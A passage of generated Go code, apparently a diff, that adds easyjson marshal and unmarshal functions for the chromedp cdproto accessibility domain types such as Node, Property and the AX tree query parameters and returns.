jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *RelatedNode) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(in *jlexer.Lexer, out *QueryAXTreeReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v7 *Node + if in.IsNull() { + in.Skip() + v7 = nil + } else { + if v7 == nil { + v7 = new(Node) + } + (*v7).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v7) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(out *jwriter.Writer, in QueryAXTreeReturns) { + out.RawByte('{') + first := true + _ = first + if len(in.Nodes) != 0 { + const prefix string = ",\"nodes\":" + first = false + out.RawString(prefix[1:]) + { + out.RawByte('[') + for v8, v9 := range in.Nodes { + if v8 > 0 { + out.RawByte(',') + } + if v9 == nil { + out.RawString("null") + } else { + (*v9).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v QueryAXTreeReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v QueryAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *QueryAXTreeReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *QueryAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(in *jlexer.Lexer, out *QueryAXTreeParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodeId": + (out.NodeID).UnmarshalEasyJSON(in) + case "backendNodeId": + (out.BackendNodeID).UnmarshalEasyJSON(in) + case "objectId": + out.ObjectID = runtime.RemoteObjectID(in.String()) + case "accessibleName": + out.AccessibleName = string(in.String()) + case "role": + out.Role = string(in.String()) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(out *jwriter.Writer, in QueryAXTreeParams) { + out.RawByte('{') + first := true + _ = first + if in.NodeID != 0 { + const prefix string = ",\"nodeId\":" + first = false + out.RawString(prefix[1:]) + out.Int64(int64(in.NodeID)) + } + if in.BackendNodeID != 0 { + const prefix string = ",\"backendNodeId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.Int64(int64(in.BackendNodeID)) + } + if in.ObjectID != "" { + const prefix string = ",\"objectId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.ObjectID)) + } + if in.AccessibleName != "" { + const prefix string = ",\"accessibleName\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.AccessibleName)) + } + if in.Role != "" { + const prefix string = ",\"role\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.Role)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v QueryAXTreeParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v QueryAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *QueryAXTreeParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *QueryAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(in *jlexer.Lexer, out *Property) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "name": + (out.Name).UnmarshalEasyJSON(in) + case "value": + if in.IsNull() { + in.Skip() + out.Value = nil + } else { + if out.Value == nil { + out.Value = new(Value) + } + (*out.Value).UnmarshalEasyJSON(in) + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(out *jwriter.Writer, in Property) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"name\":" + out.RawString(prefix[1:]) + (in.Name).MarshalEasyJSON(out) + } + { + const prefix string = ",\"value\":" + out.RawString(prefix) + if in.Value == nil { + out.RawString("null") + } else { + (*in.Value).MarshalEasyJSON(out) + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v Property) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v Property) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *Property) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *Property) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(in *jlexer.Lexer, out *Node) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodeId": + out.NodeID = NodeID(in.String()) + case "ignored": + out.Ignored = bool(in.Bool()) + case "ignoredReasons": + if in.IsNull() { + in.Skip() + out.IgnoredReasons = nil + } else { + in.Delim('[') + if out.IgnoredReasons == nil { + if !in.IsDelim(']') { + out.IgnoredReasons = make([]*Property, 0, 8) + } else { + out.IgnoredReasons = []*Property{} + } + } else { + out.IgnoredReasons = (out.IgnoredReasons)[:0] + } + for !in.IsDelim(']') { + var v10 *Property + if in.IsNull() { + in.Skip() + v10 = nil + } else { + if v10 == nil { + v10 = new(Property) + } + (*v10).UnmarshalEasyJSON(in) + } + out.IgnoredReasons = append(out.IgnoredReasons, v10) + in.WantComma() + } + in.Delim(']') + } + case "role": + if in.IsNull() { + in.Skip() + out.Role = nil + } else { + if out.Role == nil { + out.Role = new(Value) + } + (*out.Role).UnmarshalEasyJSON(in) + } + case "chromeRole": + if in.IsNull() { + in.Skip() + out.ChromeRole = nil + } else { + if out.ChromeRole == nil { + out.ChromeRole = new(Value) + } + (*out.ChromeRole).UnmarshalEasyJSON(in) + } + case "name": + if in.IsNull() { + in.Skip() + out.Name = nil + } else { + if out.Name == nil { + out.Name = new(Value) + } + (*out.Name).UnmarshalEasyJSON(in) + } + case "description": + if in.IsNull() { + in.Skip() + out.Description = nil + } else { + if out.Description == nil { + out.Description = new(Value) + } + (*out.Description).UnmarshalEasyJSON(in) + } + case "value": + if in.IsNull() { + in.Skip() + out.Value = nil + } else { + if out.Value == nil { + out.Value = new(Value) + } + (*out.Value).UnmarshalEasyJSON(in) + } + case "properties": + if in.IsNull() { + in.Skip() + out.Properties = nil + } else { + in.Delim('[') + if out.Properties == nil { + if !in.IsDelim(']') { + out.Properties = make([]*Property, 0, 8) + } else { + out.Properties = []*Property{} + } + } else { + out.Properties = (out.Properties)[:0] + } + for !in.IsDelim(']') { + var v11 *Property + if in.IsNull() { + in.Skip() + v11 = nil + } else { + if v11 == nil { + v11 = new(Property) + } + (*v11).UnmarshalEasyJSON(in) + } + out.Properties = append(out.Properties, v11) + in.WantComma() + } + in.Delim(']') + } + case "parentId": + out.ParentID = NodeID(in.String()) + case "childIds": + if in.IsNull() { + in.Skip() + out.ChildIDs = nil + } else { + in.Delim('[') + if out.ChildIDs == nil { + if !in.IsDelim(']') { + out.ChildIDs = make([]NodeID, 0, 4) + } else { + out.ChildIDs = []NodeID{} + } + } else { + out.ChildIDs = (out.ChildIDs)[:0] + } + for !in.IsDelim(']') { + var v12 NodeID + v12 = NodeID(in.String()) + out.ChildIDs = append(out.ChildIDs, v12) + in.WantComma() + } + in.Delim(']') + } + case "backendDOMNodeId": + (out.BackendDOMNodeID).UnmarshalEasyJSON(in) + case "frameId": + (out.FrameID).UnmarshalEasyJSON(in) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(out *jwriter.Writer, in Node) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"nodeId\":" + out.RawString(prefix[1:]) + out.String(string(in.NodeID)) + } + { + const prefix string = ",\"ignored\":" + out.RawString(prefix) + out.Bool(bool(in.Ignored)) + } + if len(in.IgnoredReasons) != 0 { + const prefix string = ",\"ignoredReasons\":" + out.RawString(prefix) + { + out.RawByte('[') + for v13, v14 := range in.IgnoredReasons { + if v13 > 0 { + out.RawByte(',') + } + if v14 == nil { + out.RawString("null") + } else { + (*v14).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + if in.Role != nil { + const prefix string = ",\"role\":" + out.RawString(prefix) + (*in.Role).MarshalEasyJSON(out) + } + if in.ChromeRole != nil { + const prefix string = ",\"chromeRole\":" + out.RawString(prefix) + (*in.ChromeRole).MarshalEasyJSON(out) + } + if in.Name != nil { + const prefix string = ",\"name\":" + out.RawString(prefix) + (*in.Name).MarshalEasyJSON(out) + } + if in.Description != nil { + const prefix string = ",\"description\":" + out.RawString(prefix) + (*in.Description).MarshalEasyJSON(out) + } + if in.Value != nil { + const prefix string = ",\"value\":" + out.RawString(prefix) + (*in.Value).MarshalEasyJSON(out) + } + if len(in.Properties) != 0 { + const prefix string = ",\"properties\":" + out.RawString(prefix) + { + out.RawByte('[') + for v15, v16 := range in.Properties { + if v15 > 0 { + out.RawByte(',') + } + if v16 == nil { + out.RawString("null") + } else { + (*v16).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + if in.ParentID != "" { + const prefix string = ",\"parentId\":" + out.RawString(prefix) + out.String(string(in.ParentID)) + } + if len(in.ChildIDs) != 0 { + const prefix string = ",\"childIds\":" + out.RawString(prefix) + { + out.RawByte('[') + for v17, v18 := range in.ChildIDs { + if v17 > 0 { + out.RawByte(',') + } + out.String(string(v18)) + } + out.RawByte(']') + } + } + if in.BackendDOMNodeID != 0 { + const prefix string = ",\"backendDOMNodeId\":" + out.RawString(prefix) + out.Int64(int64(in.BackendDOMNodeID)) + } + if in.FrameID != "" { + const prefix string = ",\"frameId\":" + out.RawString(prefix) + out.String(string(in.FrameID)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v Node) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v Node) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *Node) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *Node) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(in *jlexer.Lexer, out *GetRootAXNodeReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "node": + if in.IsNull() { + in.Skip() + out.Node = nil + } else { + if out.Node == nil { + out.Node = new(Node) + } + (*out.Node).UnmarshalEasyJSON(in) + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(out *jwriter.Writer, in GetRootAXNodeReturns) { + out.RawByte('{') + first := true + _ = first + if in.Node != nil { + const prefix string = ",\"node\":" + first = false + out.RawString(prefix[1:]) + (*in.Node).MarshalEasyJSON(out) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetRootAXNodeReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetRootAXNodeReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetRootAXNodeReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetRootAXNodeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(in *jlexer.Lexer, out *GetRootAXNodeParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "frameId": + (out.FrameID).UnmarshalEasyJSON(in) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(out *jwriter.Writer, in GetRootAXNodeParams) { + out.RawByte('{') + first := true + _ = first + if in.FrameID != "" { + const prefix string = ",\"frameId\":" + first = false + out.RawString(prefix[1:]) + out.String(string(in.FrameID)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetRootAXNodeParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetRootAXNodeParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetRootAXNodeParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetRootAXNodeParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(in *jlexer.Lexer, out *GetPartialAXTreeReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v19 *Node + if in.IsNull() { + in.Skip() + v19 = nil + } else { + if v19 == nil { + v19 = new(Node) + } + (*v19).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v19) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(out *jwriter.Writer, in GetPartialAXTreeReturns) { + out.RawByte('{') + first := true + _ = first + if len(in.Nodes) != 0 { + const prefix string = ",\"nodes\":" + first = false + out.RawString(prefix[1:]) + { + out.RawByte('[') + for v20, v21 := range in.Nodes { + if v20 > 0 { + out.RawByte(',') + } + if v21 == nil { + out.RawString("null") + } else { + (*v21).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetPartialAXTreeReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetPartialAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetPartialAXTreeReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetPartialAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(in *jlexer.Lexer, out *GetPartialAXTreeParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodeId": + (out.NodeID).UnmarshalEasyJSON(in) + case "backendNodeId": + (out.BackendNodeID).UnmarshalEasyJSON(in) + case "objectId": + out.ObjectID = runtime.RemoteObjectID(in.String()) + case "fetchRelatives": + out.FetchRelatives = bool(in.Bool()) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(out *jwriter.Writer, in GetPartialAXTreeParams) { + out.RawByte('{') + first := true + _ = first + if in.NodeID != 0 { + const prefix string = ",\"nodeId\":" + first = false + out.RawString(prefix[1:]) + out.Int64(int64(in.NodeID)) + } + if in.BackendNodeID != 0 { + const prefix string = ",\"backendNodeId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.Int64(int64(in.BackendNodeID)) + } + if in.ObjectID != "" { + const prefix string = ",\"objectId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.ObjectID)) + } + if in.FetchRelatives { + const prefix string = ",\"fetchRelatives\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.Bool(bool(in.FetchRelatives)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetPartialAXTreeParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetPartialAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetPartialAXTreeParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetPartialAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(in *jlexer.Lexer, out *GetFullAXTreeReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v22 *Node + if in.IsNull() { + in.Skip() + v22 = nil + } else { + if v22 == nil { + v22 = new(Node) + } + (*v22).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v22) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(out *jwriter.Writer, in GetFullAXTreeReturns) { + out.RawByte('{') + first := true + _ = first + if len(in.Nodes) != 0 { + const prefix string = ",\"nodes\":" + first = false + out.RawString(prefix[1:]) + { + out.RawByte('[') + for v23, v24 := range in.Nodes { + if v23 > 0 { + out.RawByte(',') + } + if v24 == nil { + out.RawString("null") + } else { + (*v24).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetFullAXTreeReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetFullAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetFullAXTreeReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetFullAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(in *jlexer.Lexer, out *GetFullAXTreeParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "depth": + out.Depth = int64(in.Int64()) + case "frameId": + (out.FrameID).UnmarshalEasyJSON(in) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(out *jwriter.Writer, in GetFullAXTreeParams) { + out.RawByte('{') + first := true + _ = first + if in.Depth != 0 { + const prefix string = ",\"depth\":" + first = false + out.RawString(prefix[1:]) + out.Int64(int64(in.Depth)) + } + if in.FrameID != "" { + const prefix string = ",\"frameId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.FrameID)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetFullAXTreeParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetFullAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetFullAXTreeParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetFullAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(in *jlexer.Lexer, out *GetChildAXNodesReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v25 *Node + if in.IsNull() { + in.Skip() + v25 = nil + } else { + if v25 == nil { + v25 = new(Node) + } + (*v25).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v25) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(out *jwriter.Writer, in GetChildAXNodesReturns) { + out.RawByte('{') + first := true + _ = first + if len(in.Nodes) != 0 { + const prefix string = ",\"nodes\":" + first = false + out.RawString(prefix[1:]) + { + out.RawByte('[') + for v26, v27 := range in.Nodes { + if v26 > 0 { + out.RawByte(',') + } + if v27 == nil { + out.RawString("null") + } else { + (*v27).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetChildAXNodesReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetChildAXNodesReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v 